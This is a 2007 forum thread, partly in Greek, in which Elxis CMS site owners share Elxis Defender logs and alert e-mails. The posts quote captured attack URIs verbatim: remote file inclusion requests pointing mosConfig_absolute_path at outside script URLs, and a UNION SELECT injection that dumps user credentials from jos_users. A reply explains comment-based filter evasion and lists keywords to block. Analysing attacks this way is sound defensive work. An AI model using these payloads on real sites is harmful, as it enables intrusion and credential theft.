Detected by Elxis defender exploits

[rman]

Καλησπέρα
και εμένα το σύστημα δέχεται συνέχεια επιθέσεις:
...
229 62.2.177.147   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:05:18  mosConfig_
230 62.2.177.147   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:05:18  mosConfig_
231 219.94.145.104   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:05:50  mosConfig_
232 219.94.145.104   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:05:51  mosConfig_
233 219.94.145.104   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:05:51  mosConfig_
234 75.0.141.110   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:11:03  mosConfig_
235 75.0.141.110   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:11:04  mosConfig_
236 75.0.141.110   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:11:04  mosConfig_
237 84.246.4.133   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:16:37  mosConfig_
238 84.246.4.133   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:16:37  mosConfig_
239 84.246.4.133   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:16:38  mosConfig_
240 211.129.152.113   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:18:37  mosConfig_
241 211.129.152.113   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:27:32  mosConfig_
242 211.129.152.113   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:27:33  mosConfig_
243 211.129.152.113   [GEO 1]   [GEO 2]  Tuesday, 23 October 2007 13:27:33  mosConfig_

και αυτές είναι μόνο οι σημερινές!
Επίσης τα περισσότερα adsense ads που βγαίνουν στις σελίδες (κυρίως στις php) βγάζουν διαφημίσεις σχετικά με flood, exploits κλπ
χωρίς φυσικά να υπάρχουν αντίστοιχα περιεχόμενα.
Εχετε μήπως καμμιά ιδέα για το πως μπορεί να συμβαίνει κάτι τέτοιο; και πως θα διορθωθεί, εννοείται!

[Ivan Trebješanin]

OK, here is my list for this week:

#  IP                                            Date                                     Filters
1  67.15.4.93   [GEO 1]   [GEO 2]    Saturday, 20 October 2007 21:09:52    mosConfig_
2  67.15.4.93   [GEO 1]   [GEO 2]    Saturday, 20 October 2007 21:09:59    mosConfig_
3  69.41.238.2   [GEO 1]   [GEO 2]    Saturday, 20 October 2007 21:12:42    mosConfig_
4  80.148.52.75   [GEO 1]   [GEO 2]    Wednesday, 24 October 2007 23:08:35    mosConfig_
5  199.233.91.129   [GEO 1]   [GEO 2]    Wednesday, 24 October 2007 23:09:20    mosConfig_
6  66.135.41.203   [GEO 1]   [GEO 2]    Wednesday, 24 October 2007 23:10:09    mosConfig_
7  199.233.91.129   [GEO 1]   [GEO 2]    Thursday, 25 October 2007 00:01:48    mosConfig_
8  80.148.52.75   [GEO 1]   [GEO 2]    Thursday, 25 October 2007 00:02:38    mosConfig_
9  66.135.41.203   [GEO 1]   [GEO 2]    Thursday, 25 October 2007 00:02:43    mosConfig_

And yes, I forgot, this is a list for elxis-srbija.org

[datahell]

Why I see a second attack from the same IP after a while? You have nt enabled block ips?
The most important in the logs is in the defender notification e-mail, the requested uri (2008 version). From that url we can see what component they try to attack.

[Ivan Trebješanin]

I did not enable block IP, because once Defender blocked me. 

PS
Here is the mail I got this morning:
Do not reply to this e-mail
This is a notification e-mail from Elxis Defender

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 201.34.32.66
Requested URI: /index.php?option=com_content&task=view&id=46&Itemid=9/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=http://www.tcm-jaeggi.ch/id.txt?
DATE: 25-10-2007 08:16:59
Attack was logged

Note: Elxis Defender wont send you another notification for the next 5 minutes even if more attacks occured.

---------------------------------------------------
ELXIS DEFENDER by ELXIS Team
---------------------------------------------------

[Ivan Trebješanin]

I post this because it was the first time someone tried to attack Elxis tool! Message from defender follows:
Do not reply to this e-mail
This is a notification e-mail from Elxis Defender

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 200.31.197.181 (blocked)
Requested URI: /index.php?option=com_content&task=section&id=3&Itemid=32/administrator/tools/floodblocker/language/english.php?mosConfig_absolute_path=http://www.unad.edu.co/induccion/site/modules/pr.txt??
DATE: 05-11-2007 15:19:56
Attack was logged

Note: Elxis Defender wont send you another notification for the next 5 minutes even if more attacks occured.

---------------------------------------------------
ELXIS DEFENDER by ELXIS Team
---------------------------------------------------

My question is: Is mosConfig_ filter enough to protect components and tools? I think that every attack on a compoonent, mambot etc. MUST have mosConfig envolved. Corect me if I'm wrong?

[datahell]

These attackers are just script kiddies. They know nothing about hacking. They use pre-made scripts and make blind attacks to huge lists of sites trying to find security holes and insecure site enviroments. 99,9% of these attacks are get intercepted by a simple "mosconfig" filter. Elxis defender (especially the 2008 version) does its job perfectly. As real hackers also exist, and may someone try to hack (for reasons I really don't understand) your own site, make sure to take via the Elxis database manager a full database backup regulary. For every action there is a re-action, so absolute security does not exist...

[Ivan Trebješanin]

Yes, I that's what I believe, too. If one man invents a lock, there must be another man to invent a lockpick. No particular reason. I consider the fact that someone has written a script to attack Elxis tool as a compliment to Elxis. 

[c8620p]

Hallo from me.
This is what I saw when Ia activated Elxis Defender!!!
And this in only 3 days.
Think in a year!!!

#     IP     Ημερομηνία     Φίλτρα
1    83.149.87.190   [GEO 1]   [GEO 2]    Σάββατο, 03 Νοέμβριος 2007 15:40:07    mosConfig_
2    83.149.87.190   [GEO 1]   [GEO 2]    Σάββατο, 03 Νοέμβριος 2007 15:40:07    mosConfig_
3    200.31.197.181   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:20:07    mosConfig_
4    200.31.197.181   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:20:10    mosConfig_
5    200.31.197.181   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:34:17    mosConfig_
6    200.31.197.181   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:34:19    mosConfig_
7    64.118.86.20   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:37:59    mosConfig_
8    64.118.86.20   [GEO 1]   [GEO 2]    Δευτέρα, 05 Νοέμβριος 2007 16:38:05    mosConfig_

(83.149.87.190) is located in Marina Del Rey, California, United States
(200.31.197.181) is located in Australia.
(64.118.86.20) is located in Australia.

I blocked them (I believe so)!!!

[Ivan Trebješanin]

You got yor self a new spammer!

[datahell]

I get about 20 messages by Elxis defender per day only from elxis.org...

[Ivan Trebješanin]

I figured that all this attacks come from some kids most probably, but I am surprised that of all my 10 Elxis sites, only elxis-srbija.org is attacked 5-6 times a day. 

[CREATIVE Options]

1. ATTACKER IP ADDRESS: 69.65.104.116
Country: USA - Washington DC
Exploit:

Code: [Select]

/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,concat(char(117,117,117,117,117,58),username,char(112,112,112,112,112,58),password,char(117,116,121,112,101,58),usertype,char(101,109,97,105,108,58),email,char(101,110,100,117,117,58)),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*DATE: 07-11-2007 11:36:24

2. ATTACKER IP ADDRESS: 58.65.198.122
Country: Karachi in Pakistan
Exploit:

Code: [Select]

/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,concat(char(117,117,117,117,117,58),username,char(112,112,112,112,112,58),password,char(117,116,121,112,101,58),usertype,char(101,109,97,105,108,58),email,char(101,110,100,117,117,58)),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*DATE: 07-11-2007 11:31:16


3. ATTACKER IP ADDRESS: 193.188.77.2
Country: Ar Ruşayfah in Jordanian
Exploit:

Code: [Select]

/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,concat(char(117,117,117,117,117,58),username,char(112,112,112,112,112,58),password,char(117,116,121,112,101,58),usertype,char(101,109,97,105,108,58),email,char(101,110,100,117,117,58)),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*DATE: 07-11-2007 11:48:49


All blocked from Elxis Defender

[datahell]

These were sql injection attempts to component simplefaq (joomla). Notice the asterisk comments ( /**/ ). In mysql you can add comments inside a query. This way hackers try to confuse blocking scripts. For example instead of writing "union select" they write "union /**/ select" which is exactly the same for mysql but very difficult to be detected and blocked. If we add a "select" filter in Elxis Defender there is the possibility to block ourseleves if we write the word "select" in a post. So we try to use words that are mysql specific like "concat", "benchmark", "drop" and "elx_". We could also use the "union", "char"  or "join" filters but we should remember these filters when we write an article and either dont use them or temporary disable defender.

[CREATIVE Options]

ATTACKER IP ADDRESS: 219.93.178.162 (blocked)
Requested URI:

Code: [Select]

/index2.php?option=com_contact&task=vcard&contact_id=4&no_html=http://www.10namicro.com/demo/project/lib/adodb/guxav/qenahey/DATE: 23-11-2007 04:45:43

ATTACKER IP ADDRESS: 85.214.26.131
Requested URI: ADODB
DATE: 23-11-2007 00:48:51

ATTACKER IP ADDRESS: 217.144.201.107 (blocked)
Requested URI:

Code: [Select]

/index.php?option=com_content&task=blogsection&id=0&Itemid=92&limit=http://www.10namicro.com/demo/project/lib/adodb/guxav/qenahey/&limitstart=75DATE: 22-11-2007 23:29:51

[Ivan Trebješanin]

Very similar attack happened to me.... I have added =http to the filter list, and hopefully, this will stop this kind of attacks.